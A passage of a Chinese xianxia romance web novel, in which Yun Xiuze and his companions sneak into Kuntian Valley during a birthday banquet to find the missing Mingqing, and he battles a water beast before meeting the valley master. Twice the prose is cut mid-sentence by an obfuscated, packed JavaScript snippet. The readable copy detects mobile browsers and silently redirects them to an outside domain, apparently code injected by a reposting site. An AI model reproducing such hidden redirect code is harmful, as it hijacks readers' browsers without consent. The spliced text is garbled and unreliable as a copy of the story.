“恐怕要委屈唐姑娘稍加易容,扮做我的贴身女使,待遇上总归是要好些的,自然,我是不会支使姑娘做事的,若是姑娘有什么需要,也可与我说来,我自会竭力为姑娘实现。” 唐思月温声道谢,云修泽就笑的一脸和善,虽然知道这是最好的办法,却还是不爽他的取笑,在唇缝里咬牙切齿的说。 “少爷真是体贴下属啊!” 云修泽不爽柳恒舜就爽了,两人嘴上不停交锋,云修云适时的递上一杯酒,乖巧的笑道。 “少爷喝酒。” 柳恒舜端着架子接过来。 “还是青玉懂事,子竹啊,学着点儿!” 云修泽气的就差咬他了,哪里会乖顺的给他敬酒,两人还是你来我往,骂人都不带个脏字儿,他们骂的欢,云修云时不时就一脸纯良的给柳恒舜倒杯酒,他说的嘴干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“思月你别信他的!!!他就是耍酒疯!他可是风月场的老手,这种话不知对多少个姑娘说过!你可千万别信!!!” 云修泽见他急的竟然不惜口不择言的抹黑他哥,实在不知作何表情,事实证明,人在无语至极的时候,是会莫名其妙的笑出来的。 他干脆向唐思月问了房间所在,一把将柳恒舜扛起来,也不管他原来住在哪儿,直接薅着他溜之大吉,将这里留给了他们。 行愿迟疑了一下,去看唐思月,见唐思月微微摇头,便安心留下了,不过还是刻意开始减轻自己的存在感。 云修云全部的头发都梳成了一个马尾,此刻都落到了胸前,手无措的伸着,似乎想要捉她的手,却最终没有逾矩,放回了膝盖上。 他刚刚也喝了两杯酒,琥珀色的眼睛在光影下显得更加清透,也湿漉漉的,耳根全红了,面色焦急,还带了些委屈,眼巴巴的看着你,像个害怕失宠的狼崽。 唐思月轻笑起来,一只手托着面颊,一只手挑起他的一缕发丝摸了摸,宽慰他说道。 “你放心,我哪里会信一个醉酒之人的话呢?不过说来也有趣,我虽然知道自己的容貌招摇,但却还是第一次有人见的第一面就向我求婚的,能答应才是有鬼了。” 云修云任她把玩自己的头发,不知心里究竟是个什么滋味儿,只能低着头不说话。 他和云修泽像也不像,云修泽的眸色是浓黑的,安静的看你时,让你觉得情深,若是带了笑,反倒有些凉薄,而云修云的眼睛大些,是两颗清透的琥珀,无论嬉笑怒骂都显得少年气,生机勃勃的,此时却像是打了蔫的小白菜,情绪低迷的坐在唐思月面前。 唐思月捏着那缕头发在手中转圈儿,忍不住想要逗他。 “嗯......这道侣若是你来求,我也不是没可能答应。” 云修云浑身一震,本来正常的面色瞬间就红透了,整个人热的就差冒烟,期期艾艾的也说不出话来,张着嘴只发出了一些无意义的音节。 这副模样成功将唐思月逗得出声笑起来,一时间正是花枝乱颤。 云修云见她笑成这个样子,明知自己被开了玩笑,却还是拿她没办法,反而还要为她的开怀感到高兴,只能无奈的说。 “你就拿我寻开心吧!” 这顿晚饭吃的甚是热闹,等云修云回到自己的房间时,就发现云修泽正在这里等着他,他有些摸不着头脑。 “你怎么不在你自己房间?” 云修泽托着下巴,无精打采的说。 “我倒是想,你伯言哥睡着了可不老实,一个人睡出了两个人的气势,我哪敢招惹他,还是来找你凑合凑合吧。” 云修云没什么所谓,喝了点儿酒,大着胆子指挥他去铺床,自己则去旁边洗漱。 夜深人静,兄弟二人只穿了中衣在床上抵足而眠,云修泽双手放在脑后,闭着眼睛说道。 “我还当你是有长进,知道不明着对抗伯言,暗戳戳的灌他酒,谁知他一句话就激的你方寸大乱,你啊,喜欢一个人,就该稳扎稳打,若是过于冒进,反而会得不偿失。” 云修云懒散的睁开眼,叹道。 “可是哥,若你心中有了她,又如何能够保持理智,步步为营的算计得失呢,人喜欢的是另一个有着喜怒哀乐的人,一步一算反而伤情,情感若是被当作棋子对弈,只怕会一子错,满盘皆落索【注2】吧。” 云修泽沉默良久,轻声说道。 “夜深了,睡吧。” 16. 孚望十六 “嘶——啊” 柳恒舜揉着脑袋从床榻上醒来,半支着身子撑在那里,坚持了一会儿还是放弃挣扎的趴在了床边。 云修泽推门进来就看见他半死不活的吊在那里,随手拿了个橘子就坐在旁边剥起来,往嘴里塞了一瓣,点点头说道。 “嗯!还不错,挺甜的!” 柳恒舜有气无力的哼哼了两声,说道。 “最好甜死你。” 云修泽不起波澜,回噎道。 “我觉得可能性不大啊,换一个吧,梦生醉死岂不是更快活。” 柳恒舜艰难的撑着床沿爬起来骂他。 “你个没良心的,你弟喜欢人家唐姑娘你敢说你不知道?你明明认出我来了却不阻止我,让我这个不知情的直接就上去了,理亏在先,没办法也只能顺着他灌酒,算是让他出出气,我都这么惨了,你居然还笑我!” 云修泽把橘子皮扔了,拍了拍手。 “诶,说真的,你对思月是怎么想的?我知道你只是喜欢美人儿,并无意惹她们动心伤神,可人心难自控,你被姑父关的这几年,有一部分原因不就是你的一屁股情债吗?” 柳恒舜沉默一会儿,无奈的笑起来,摇了摇头,道。 “我能怎么想?我佩服你啊,美成这样的女子在身侧,你竟还能不动分毫,怎么?你喜欢的那个颜色比唐姑娘还胜几分?” 云修泽微微一顿,低声道。 “各有千秋。” 柳恒舜耸耸肩,也不知信是没信。 “唐姑娘是给了我一种陌生的冲击,不单是容貌,她的性子和婉又聪慧,与她待在一起很让我放松,不过她身上压着重仇,心思比同龄女子要深上许多,青玉怕是难以打动她。” 云修泽微微睁大了眼,还没等他说什么,柳恒舜又接着说起道。 “不过你放心,我也只会做到这个地步了,青玉喜欢的姑娘,我哪里会去碰,但什么都不做也实在不甘心,只能如此了。” 他清了清嗓子,眉毛一扬,又恢复了往日的不着调。 “但若是他们日后不能走在一起,你可得告知我,如此美人,错过岂不可惜。” 云修泽手撑在桌子上,侧头捂着嘴无奈的叹了声气,没再说什么。 柳恒舜下了床,一边穿衣服一边交代道。 “明日申时我会带着弟子提前入谷,你们跟我进去,虽然我会在那里待满四天,但你们要找人最好在明天晚上就找到,不然等贺寿宴正式开始,你们就免不得要随我入殿,能不能装好是一回事,单说谷主就不是好糊弄的,不被发现的可能性很小。” 云修泽摩挲着手指。 “知道了,会尽力的。” 午膳时,几人又聚在一起。 柳恒舜见到唐思月,先行赔了个不是。 “思月姑娘,昨日实在是醉了,说话口无遮拦,多有得罪,还请不要放在心上。” 唐思月轻笑道。 “柳公子无需忧心,我自然不会将玩笑之言当真。” 柳恒舜眼中飞快闪过一丝落寞,马上又若无其事的引她入座。 席间几人倒是没说什么正事,反而以闲聊居多,云修云一开始还对柳恒舜没什么好脸色,但见他时不时的揉按额角,一副缓解头痛的样子,还是忍不住心软,再加上柳恒舜又哄了几句,那点儿别扭的心思没多久也就散了。 几人聊起最近几年发生的事情,这可让云修云找到了大吐苦水的好对象,拉着柳恒舜就开始哭惨,没说双生子的事,但其他能说的全叫他说了一遍,听到纹银二十两,柳恒舜直接就绷不住了,笑的就差没拍桌子。 “哈哈哈哈哈哈哈哈哈!!!!你们兄弟二人竟也有今日!!!舅父舅母这招实在是妙啊哈哈哈哈哈!!!” 兄弟二人皆是一副不堪回首的凄惨模样,唐思月也是第一次听说这个,满脸都写着有意思、我爱听、多说点。 等说到他们给两匹马取的名字后,柳恒舜的表情就变得有些奇怪起来,重复问起。 “追云?” 云修泽点了点头,柳恒舜就一脸像是明白了的表情,神色带了点儿揶揄,转眼对着云修云挤眉弄眼。 “追云——追的是你?” 从小长大的兄弟,了解你的程度堪称恐怖,云修云垮着一张脸,不愿承认,云修泽在一旁笑起来。 “哈哈哈!你是不知道,那匹马通身乌色,唯有四蹄雪白,青玉喜欢,就总是围着它转,手欠的乱摸,当时那马和我们还不熟悉,也是个暴脾气,哪里忍得了这个,摸急眼了直接就追着他跑了一里地要咬他,本想取名踏雪,和踏风凑个一对儿,就因为这个,直接就叫追云了,形象的很!” 在座的几人忍不住想象他被马追的乱跑的模样,都不由得笑起来,唐思月和行愿还内敛些,两个做兄长的就毫不顾忌的捧腹大笑,云修云趴在桌上抱着头哀嚎,直直发誓再也不干这种蠢事。 这顿午膳仍是热闹的紧,看着这闹腾的景象,云修泽却笑声渐停,心中突兀的想起了那晚在竹林和明青互相追逐,那时他们不经意对视时她的笑意让他的思绪不由得有些飘远。 也不知明青怎么样了,若是她在,就算话不多,这席间的热闹程度,恐怕也要再升上一升。 * 此时,昆天谷内。 明青正与一位男子对坐,轻烟笼罩下,男子开口说了句什么,明青并未回应,只轻轻,垂下了双眼。 * 待几人差不多吃好了,柳恒舜开口说起正事。 “昆天谷以紫色为尊,内有一位谷主,十位令堂长老,谷主的衣饰是深紫色,长老要浅一些,内门子弟腰带是深紫,其中,大弟子的长袍也是紫色,外门弟子的腰带则是浅紫,通过服饰颜色便可辨认他们的身份。” 这话其实主要是说给唐思月和行愿听的,他们兄弟三人的家族虽然都是隐世而居,但势力庞大,很多事情他们不参与,但却不会容忍自己不知道。 唐思月的事他在来之前就已经听云修泽说过了,虽说唐家可能也知道,但为了以防万一,他还是要将情况简单说一下。 “这次我一共带了两个贴身女使和十个护卫,衣服我已经交给子竹了,你们只管安心,他们都是我的亲信,什么都不会说,至于那些弟子,平日里接触不多,就算认出来了,我也不会让他们多嘴,唯有思月姑娘容貌过于出众,还是要做好易容才是,可需要我找人帮你吗?” 他问唐思月道。 唐思月微微一笑。 “放心,我学的东西杂,易容虽说不上精通,但还是有所涉猎,混淆视听应该没有什么问题。” 柳恒舜点点头,不再坚持。 “你记得,你的名字叫曲扇,护卫是甲字排行,子竹,你们三个就是甲一到甲三,都记好了,可别露馅。” 几人都纷纷点头应下。 * 昆天谷是当之无愧的仙门之首,地位超然,谷主的寿宴,自然是声势浩大。 柳恒舜属于第一波宾客,他脱下了自己平日颜色鲜艳、款式风流的服饰,和族中子弟换上了款式相近的深蓝色衣装,坐在马车上,到了门前就有守门弟子上前接了名帖,恭敬地请他们入内。 唐思月和另一个贴身女使提着铜制的香炉走在柳恒舜那辆马车的两侧,云修泽三人就和另外七个护卫分为两组,每五人为一组,走在最外侧,一行人就这么安静肃穆的进了昆天谷。 领路的弟子一直将他们带到了一处名为‘观澜苑’的院落才告辞离开,等他走远,马车上柳家的弟子就全都下来了,这群人中有男有女,全都井然有序的围到了柳恒舜身边。 庭院深深,隐于苍翠之间,屋顶上覆盖着青瓦,在落日下泛着柔和的光泽,与远处的山峦交相辉映,院中有水声潺潺,想必‘观澜’二字也是有些说法。 柳恒舜用灵力快速的扫了一遍这里,心中对于院落结构有了大概了解,他用扇子敲了敲手心,不紧不慢的为众人安排好了住处,同时说道。 “宴会在明日戌时正式开始,我们提前一些,酉时前去,尔等务必牢记,不可懈怠,误了时辰。” 柳家的家风并不是十分严肃,但在正事上却十分认真,一群弟子整齐称是之后倒也并未散去,反而有与他亲近的缠着他,要与他一同练剑切磋。 说完正事,柳恒舜又重新从一本正经变回了纨绔子弟的模样,他被众人簇拥着,懒洋洋的回道。 “即如此,都去我那里,你们几个,今日不用伺候了,都先下去吧,若有需要,我自会叫你们。” 他摆摆手,叫侍从们离开。 云修泽四人混在其中并不显得突兀。 为了让他们行动方便,柳恒舜还特地将云修泽三人安排住在一起,他们坐在院中的石桌前,不一会儿,唐思月就找了过来。 她易容过后,便只是个说得上清秀的姑娘,唯有一双眼睛还有着原来的动人,她与三人打了个招呼,等她坐下,云修泽便沉声说道。 “刚刚我们进来时,我悄悄看了一下,昆天谷虽大,但谷中子弟众多,就算有一部分外出,一部分闭关,人手还是十分充足,看样子是会定时巡查谷中情况的,这一点。” 云修泽看向行愿。 “还望行愿大哥探查一番,如果可以,最好能找到许知夏的下落。” 在这里行动,人越少越好,一群人反倒显眼,而他们几人中,行愿最会隐藏自身,有时他刻意躲藏,云修泽不用点手段逼迫他自己现身,单说寻找,也是拿他没有办法,除此之外,他的身手也很不错,自保不成问题,所以他是最好的人选。 行愿点头应下。 “一会儿去,最晚亥时回。” 云修泽又转向唐思月和云修云。 “昆天谷不比寻常地方,这里就算是用来待客的别院,也都设有禁制,无法翻墙外出,唯有一个正门和两个侧门可行,院内行走洒扫的我能避开,只是守门的门童却都是被点化的万音莨鸟,他们晚间会一直守在这里,这种鸟天生六目,想要在他们眼皮子底下溜出去难度很大,最麻烦的还是他们同一族内有特殊的交流方式,我若弄昏了两个,反倒打草惊蛇,所以你们两个的任务就是帮我不动声色的将他们引开。” 云修云应下了,唐思月却轻轻蹙眉。 “你是准备自己去冒险?” 云修泽一顿。< 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柳恒舜已经被他坑麻了,一边骂他一边将他赶出了门。 云修泽被赶出来也不恼,名正言顺的借着柳恒舜的由头四处观察,将整座院子摸了个遍,心中有了数,只待行愿归来就可离去。 大概亥时末,行愿就回来了。 他在外面观察了一阵子,又敛声匿迹的跟着一个去调取卷宗的内门弟子摸进了领事阁,翻查了一下谷中弟子巡察相关安排,各种琐事叠加,内容多的分成一个个薄册,无奈,他也只能挑重点记下。 他在领事阁内行动正如行走在峭壁钢索,万分小心,就算如此,也还是险些触动那里的阵法。 等他出来后,原本空无一人的门口,却突然有两只万音莨鸟从远处走来,守在了那里,饶是淡定如行愿,手心也忍不住出了一层薄汗,幸亏他已经出来。 这两只莨鸟刚刚应该是被临时叫走了,若是他们一直守在这里,或者在他没有出来时回来,加上这里的阵法,就算有那内门弟子的弟子令,他也绝对会被发现。 之后他又摸了一下附近的地形,虽然看过云修泽画的许知夏的画像,但他却没有办法在这么大的地方寻找他的踪迹。 所幸刚刚看过的册子上有他的名字,按册中所录,这几日他都在谷中,作为谷主门下三弟子,丑时,他会带着一队外门弟子在一处名为悬练的淴泱瀑布不远处进行巡视,按照这个地点和时间去找,总能找到。 行愿将事情事无巨细的说来,他少有说这么多话的时候,说完他就看了眼茶壶,却还是没去动它,唐思月沉默的给他倒了杯茶,他这才接过来,微微掀开面具润了润喉咙。 他说的事让几人沉默了一会儿,唐思月想说什么,却被云修泽一下打断。 “思月,我知道你想说什么,只是我心意已决,是等不到再行商议万全之策了,今夜就是最好的时机,过了今晚,宾客盈门,我们不仅要瞒过谷主,行动起来,受的限制也只会更多,就算我们能等,明青也等不了。” 唐思月沉默,云修泽说的很对,她无法反驳,能做的也只有叮嘱...... “千万要小心,你若受了伤,明青那里你也不好交代,我给你的药,也绝不会好吃到哪里去。” 加威胁了。 云修泽讪讪一笑,不得不说,他的确被威胁到了。 时间已至子时,本该安静的观澜苑内烛火通明,隐隐有声音传来。 唐思月穿着女使的衣裳,步履匆匆的从门内赶到了两只万音莨鸟处,对着两人微微点头,语气焦急。 “两位小郎君,我是柳公子身边的曲扇,公子今日安顿下来后,清点物品,发现老家主让公子带给谷主的信丢失了,现在院中的人都正找呢,两位小郎君目力极盛,能否随我去帮我家公子找上一找?” 万音莨鸟化作的门童都是半人高的小童儿,粉雕玉琢很是可爱,就是一双眼睛灰白无光,谁能想到他们却是以目力见长的呢? 听到她的话,两个小童对视一眼,只有一个表示愿意随她离开,唐思月微微一顿,然后面露感激。 “如此应该是够了,多谢小郎君,请快快随我来吧。” 唐思月带着他离开,悄悄对暗中的云修云使了个眼色,云修云微不可查的点头,等又过了一段时间,他才装作从远处而来,说是还没找到,要烦请留下的这只莨鸟也去帮忙,那小童儿面露难色,暗中和同族联络,发现他们全都被叫走了,这院子如此之大,看来也是真的缺乏人手,在云修云再三焦急的恭请后,还是跟着他离开了这里。 这时,整座院落就罕见的陷入了一种无人看守的情况。 云修泽的步伐既轻且快,心中暗想:思月这一招倒是很保险,将六只万音莨鸟全都调走了,他微微一哂,只不过要辛苦伯言演戏了。 云修泽按照行愿说的,一路有惊无险的避开了巡视的昆天谷弟子,一个翻身就轻巧的落在了一棵高大繁茂的树上,此时,已经能看到远处湍急的白练,水声也隐隐传来,云修泽按在树身上的手指节泛白,呢喃道。 “明青。” 17. 孚望十七 云修泽顺着瀑布一路寻找,水域宽广,将两岸划分,对岸是一眼望而不尽的松林,林中有淡薄的雾气沉浮,若是久久凝视,只会有玄而又玄之感。 云修泽不知道这里有什么特殊,竟让谷主的亲传三弟子亲自带人巡视,同时他也不知道明青有什么特殊,让他亲自将人掳来。 掳到宗门内,那多半就不是私仇。 丑时已到,不过一会儿的功夫,许知夏就果然带着外门弟子出现了,云修泽小心的隐在暗处,既然是他亲自抓来的人,那他之后就不大可能完全放手,所以只要他将人跟住,今晚若是幸运,就有可能见到明青! 云修泽猫在暗处跟了一阵子,眼见着他们巡视完毕,外门子弟散去,许知夏也准备离开,却突然有个男子御剑从林中飞来。 云修泽的眼睛落在那个男子身上,握剑的手又收紧了几分,那男子出现的时候,许知夏就已经停下了动作,在原地等待,等他在许知夏面前站定,许知夏就问道。 “大师兄,这个时辰了,你怎么从林中出来?” 不错,那男子长袍黛紫,腰间所缠缕带颜色更深几分,这副装扮正是他们之前所说的大弟子了,只是这男子长了副娃娃脸,看上去竟比许知夏还要年少些。 娃娃脸的大师兄挠了挠头。 “在林中修炼忘了时辰,出来正好见到你,想起昨日师傅叮嘱有件事让我同你说,我给忘了,嘿嘿。” 许知夏无语道。 “周彦止,你能再不靠谱点儿吗?” 周彦止没什么脾气的笑了笑。 “没关系,来得及,师傅交代,今日来的客人都是和师傅关系最好的,明日...不对,已经过了子时了,该是今日,今日由你负责接待引路。” “怎么是我?二师姐呢?” “她突然闭关了。” 许知夏叹了口气,羡慕师姐的好命。 “好吧,我知道了。” 周彦止说完就准备御剑离去,他人都已经站到剑上了,却像是突然想起什么来一样,回头问道。 “对了,我刚刚好像在林间看到了你前几日带回来的姑娘,她怎么到那儿去了?” 树后的云修泽瞳孔一缩,没想到竟就这么猝不及防地得知了明青的消息。 许知夏把剑横着放到后颈上,不甚在意。 “谁知道,我就是个奉命行事的,哪管得了这个。” 周彦止点点头,没太放在心上,等两人都走了,云修泽又敛息等了一会才从暗处出来。 听他们的意思,明青被抓来和他们没什么关系,而这里能支使谷主亲传弟子的恐怕也只有谷主并十个长老了,他们虽然抓来了明青,但看样子也并没有限制她的自由。 云修泽皱着眉,不明白他们到底为什么要把明青抓来。 他心中存有疑虑,但还是果断地放弃了跟着许知夏的计划,望着对岸明显不普通的森林,一时之间不知是进是退。 但现在没有那么多时间让他犹豫,机会转瞬即逝,云修泽握紧褚闲,决定倾力一试。 刚刚那个大师兄进出是直接御剑飞行,并未使用弟子令,那看来这座森林没有结界一类的东西,剩下的他在这边也看不出什么来,只能走一步看一步。 这里是瀑布之下的深潭,虽说是潭,但却接天连碧,望不到尽头,趁着下一波巡视的弟子还没来,他必须抓紧时间渡水。 云修泽压低身体御剑,稳住重心,只求以最快的速度赶到对岸。 深潭水波不兴,云修泽很顺利的就到了中央水域,但他没有放松警惕,多年来养成的对危险的直觉让他总觉得好像有什么不对劲,果然,下一刻就风云骤变! 平静的水面有巨物陡然破水而出! 四周安静的环境像是一面镜子一般,被巨大的水声粗暴的打破,水流从那巨物细密的利齿中落下,它张着血盆大口,正将云修泽圈在中心! 云修泽为求速度,也怕被人发现,一直保持低空飞行,此时遭遇袭击,幸亏一直保持警惕,不然以他的高度,只怕直接就会被吞吃入腹! 事情都是瞬息间发生的,他也管不了那么多,快速往高处飞去,本以为能够暂时脱离危险,去看看到底是什么在袭击他,却不成想,那巨物见一咬不到,丝毫不带犹豫,直接钻回了水中。 云修泽略有狐疑,心中快速闪过了什么,可他根本来不及细想,水面就有阴影映出,云修泽瞳孔骤缩,背后! 一切仿佛都被放慢,御剑远离已是来不及,他只能尽力侧身以求减少伤害,可天不遂人愿,下一刻,他就直接被拍入了水中! 原来那巨物潜回水中并不是放弃了攻击,而是在水中追着他穿行,扭身蓄力,用尾巴一下将云修泽打了下来! 它的尾巴细长,尾尖生蹼,能够做到出水没有声音却力道足够,趁着云修泽警惕别的水域的时候,它就悄然绕到他身后,用尾巴成功偷袭。 云修泽的后背承受了一下重击,血都没有吐完就落入了水中,狼狈的呛了两口水才重新握紧了褚闲。 靠,这是什么鬼东西?他妈的这么阴险!!! 云修泽还没能睁开眼,就听见了什么东西极速破水的声音,他只来得及用褚闲挡在身前,水流被那巨物带动的急促,冲的他身形不稳,褚闲的剑刃划过鳞片,在水中发出连续的闷闷的锵声。 云修泽眼睛勉强睁开,想要辨认到底是什么东西,可水流带起白色浮沫让他根本无法在水中视物。 那东西似乎并不着急弄死他,戏耍一般的紧贴着他游过,它的身体很长,速度也很快,如果不是在水中,云修泽丝毫不怀疑剑刃和鳞片摩擦的地方会泛起火星。 它的身上裹满了鳞片,可尾巴却是没有的,云修泽被动的防守,准备等它的尾巴游过的时候再发动攻击,可这东西的智商竟然不低,他显然也知道尾巴是自己的弱点,根本不让云修泽有机会碰到它,反而快速扭头向云修泽咬来。 在水中,云修泽根本用不了轻功,十分的被动,他只能勉强在那巨物的身体上借了个力,擦着边躲开了它的攻击。 这样下去根本不行! 云修泽咬牙,突然瞥见了一双澄黄色的眼睛,正可谓机不可失,时不再来,云修泽根本没有细想,手腕翻转,一个用力就刺了过去。 刚刚褚闲擦过它的身体,如果是普通的鳞片,恐怕早就被褚闲削下一片皮肉来,可它却一点伤都没受,眼睛虽然是大部分生物的弱点,可这东西眼周都是细密的鳞片,他根本没有信心能弄伤它。 到了此时,云修泽已经快要呼吸不过来了,每当他想要浮出水面,那东西都能察觉到他的意图,从而迅速的将他拦下。 褚闲的剑尖逼近,却因为激烈水流而偏离了原本的方向,云修泽本以为这次攻击必定是无用功了,可这东西却突然像是受到了惊吓一样,一边后退一边乱动,反而让褚闲从它的眼角划出了一道伤痕,血雾顿时在水中弥漫开来。 “咹————!!!!!” 它在水中也能发声,这点儿伤对于这个庞然大物来说应该不算什么,可它却像是受了重创一样在水中翻腾不止,云修泽抓住机会浮上了水面。 “哈啊——” 竟是险些没被憋死。 云修泽喘了口气,马上就运转灵力准备离开水面回到空中,那样的话,他至少不会像在水中一样毫无反抗之力。 可还没等他成功离水,那东西就像是被激怒了,故技重施向他咬来,速度比刚才快了不知多少倍,这样比下来,刚刚倒像是在悠闲地耍他玩了,而现在,云修泽虽然看到了它的动作,却根本躲不开! 完了,应该听思月的话,至少把行愿大哥带上,有点后悔...... 就在这千钧一发之际,一股强大的灵力裹挟住云修泽将他带回了岸边。 云修泽在空中被灵力束缚的动弹不得,他挣扎着向水面看去,却只看见那东西像是龙脊一样的背鳍划过水面,放弃了追击,不到一个呼吸间,水面就又恢复了平静,让人难以想象刚刚激烈的状况。 云修泽狼狈的被扔在地上,他一手捂着胸口剧烈的咳嗽,眼睛的余光中只能看到一双绛紫平靴。 “哼,小子,你胆子倒是很大啊。” 云修泽用褚闲撑着,勉强站起身来,用灵力弄干了衣服,恭敬的行了个晚辈礼。 “晚辈云修泽,见过秦谷主。” 那男子头戴玉冠,眉间的川字纹很深,通身的衣饰都是深紫,看上去却只有二十八九的样子。 要知道,这里的人修炼法力,本身寿数更长,衰老更加缓慢,修为越是高深,衰老的就会越慢,由此可见他的实力之强。 “你倒是乖觉,只是我却不知,这次寿宴,竟还邀请了身为隐世大族的云家?” 云修泽很快就从刚刚的状态中脱离,笑的就像是他本来就应该出现在这里一样,丝毫不见窘迫。 “晚辈并无什么企图,只是第一次见到昆天谷中美景,散步一时失了神,这才落入水中,晚辈还要多谢谷主的救命之恩才是。” 秦谷主沉默了一会儿,说道。 “你脸皮还挺厚。” 云·厚脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950944|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮·修泽的嘴角颤了颤,表情险些就要绷不住了,心中腹诽。 这老东西怎么回事,哪有一见面就骂人的?什么素质! 云修泽暗中深吸一口气,堪堪将表情稳住了,正准备再次开口,秦谷主就将手掌竖起,示意他不必多说。 “你们家实力雄厚,应该知道我们昆天谷中有谷主和十位长老,可你们不知道的是,我们还有一位司命,可窥天机,通晓万物。” 云修泽表情不变,手却将褚闲紧握,做好了下一瞬转身就跑的准备,秦谷主瞥他一眼。 “你们来干什么,怎么来,准备怎么干,有多少人我都一清二楚,不然也不能将你救下,你就别白费功夫了。” 他顿了顿,皱眉问道。 “不过我很好奇,是谁给你的胆子,让你敢闯昆天谷的?” 说都说到这份上了,云修泽索性也不装了,面无表情的说道。 “既然贵谷的司命什么都知道,那您也应该知道,我不可能一个人行动,自然是还有后手准备。” 秦谷主根本不信,拂袖说道。 “哼,虚张声势,你若还有后手,刚刚又怎么会险些丧命!” 云修泽脸上带着微微笑意,神色笃定的说。 “您不信?不如您随我一同回去看看?恐怕您的大弟子现在已经被我们控制住了。” 秦谷主眼神锐利,一下子向他看来,云修泽淡定的和他对视,不知过了多久,秦谷主才盯着他缓缓说道。 “好啊,不过要是让我发现你骗我,可就休要怪我不讲情面!” 云修泽伸手,笑道。 “谷主,请。” 秦谷主没理他,抽出腰间的剑就要御剑而行,见此,云修泽也准备用褚闲跟上,可谁知那秦谷主一把薅住他,将他抓到了自己的剑上。 云修泽猝不及防被带上去,惊的险些动手,秦谷主看着他眯了眯眼。 “嗯?” 云修泽能屈能伸,当场就安分了。 妈的,这老东西,真不是个东西! 回观澜苑的时间可比云修泽摸到那瀑布附近的时间快多了,还没等云修泽多想些什么,秦谷主就已经带着他落在了他们住的小院子里。 院中的石桌上摆着棋盘,娃娃脸的周彦止正坐在一边拿着黑子苦思冥想,另一边是易容过后的唐思月,她拿着茶杯等周彦止落子,显得十分的游刃有余,而云修云和行愿就坐在一旁认真的围观。 这场面,谁来了都得说是一片祥和。 别说秦谷主了,就连云修泽见了都顿了一下。 秦谷主没想到他的大弟子还真在这里,心中惊讶,面上却未表现出来,反而淡定地给了云修泽一个眼神,意思大概就是:就这?控制? 云修泽直接当没看见,他往前走了几步,下棋的几人才注意到他们,见云修泽和秦谷主一起回来,竟没有一个人感到好奇,唐思月甚至还笑道。 “回来了?谷主快快请坐,这盘马上就要结束了。” 看着她,秦谷主总觉得有些违和之感,却又说不上来,他没有多想,只是不适地皱着眉头推辞。 “不必了。” 一旁的周彦止挠挠头,困惑的笑道。 “师傅,这小丫头太厉害了,我根本下不过她,给您丢脸了。” 秦谷主瞪了他一眼,骂道。 “之后再跟你算账!” 他转头去看云修泽,哼了一声说道。 “臭小子,算你厉害,跟我来吧,带你去个地方。” 唐思月刚想开口,他就强势打断道。 “谁都不许跟来!这狐狸崽子这么狡猾,我还能害了他不成?” 唐思月脸色有些难看,云修泽冲她摇了摇头。 “你们放心,我相信谷主对我没有恶意。” 他笑的一脸诚挚,看着秦谷主说道。 “对吧?谷主。” 秦谷主皱眉侧了侧脸,嫌弃道。 “废什么话,还不快走!” 他又伸手来抓云修泽,这次他眼疾手快的躲过了,一下跳到褚闲身上,笑道。 “就不劳烦谷主了,您先行一步。” 秦谷主看着抓空的手,眼中露出了一丝惊讶,随即哼了一声,将手收回来放到了身后。 两人就这么在几人的目送下御剑消失。 云修云双手抱剑,看着他们离去的背影,惊奇说道。 “这老头竟是个傲娇?” 唐思月&行愿:“......” 周彦止:“......?” 18. 孚望十八 云修泽隐约能猜到秦谷主要带他去哪里,经过刚刚的试探,那个通晓万物的司命恐怕也不是连个中细节都能全部知道,又或者...... 云修泽双眼微眯,他知道,却没告诉秦谷主。 为什么?这么做能达成什么目的? 告诉了秦谷主他们的大致行动,却又给他们留了余地,而云修泽正是通过这个余地成功威胁到了秦谷主,让他对云修泽有了一分赏识,现在才能这么心平气和带他过去。 不然以传闻中秦谷主的脾气,无论什么原因,敢在昆天谷撒野,哪怕不愿得罪云家,不会动他,他也绝对会被扔出谷去。 可这个司命在昆天谷内似乎地位超然,若说他要求将云修泽带过去,谷主大概也不会驳他的面子,可他偏偏没有这么干,绕了几个圈子,倒更像是在考验他。 一个与他素不相识的司命给他出了个难题,成功算是过了个关卡,有资格进到下一个阶段,失败则就要被赶出谷去,云修泽想不到他还能出于什么原因这么干,他能想到的,只有明青。 云修泽抿了抿双唇,跟着秦谷主落在了一座被薄雾笼罩的山前,这座山耸入云霄,抬眼望不尽其顶峰,秦谷主在旁边说道。 “它叫周天,是谷中最高的山,自昆天出现,它便在这里了,是......” 他顿了顿,又接着说。 “是历代司命的居所,你上去吧。” 说罢转身就要走。 云修泽:“您不和我一起去吗?” 秦谷主回头,神色冷然。 “叫你做什么就做什么,不要多嘴。” 云修泽碰了个钉子,表情无辜不再开口,同时伸手示意秦谷主自便。 秦谷主皱着眉,一副不耐烦的样子御剑离开。 云修泽看着他的背影消失在天边,深吸一口气,站在原地疲惫的抬头看了看满天的繁星。 视线中周天山的存在感极强,他头脑放空的盯了一会儿,突然就生了几分胆寒退怯。 司命,外界从无人知晓他的存在,历代,那便是从来就有,为什么昆天谷之外竟没有一个人知晓呢?昆天谷中呢?所有人都知道吗? 云修泽思维混乱,脑袋里像是有人塞进去了一块吸满水的棉花,让他头晕脑胀,理顺不了自己的思路。 这个司命驾轻就熟的摆弄着众人,通晓万物......通晓万物,要知道,他根本没有什么后手! 一切都是他说来诓骗试探秦谷主,拖延时间,再行周旋罢了,在院中看见周彦止,他的惊讶不比秦谷主少。 行愿不会做额外的事,云修云倒不是办不到,但他从小都跟在他身后,他作为大哥处处都比他强上一些,所以他很自然的养成了听他的话,无条件相信他的习惯,让他做什么他就做什么,剩下的交给云修泽,从未有过例外,所以也不会是他。 唯一的解释,就是唐思月了,恐怕是她又在背后做了些什么。 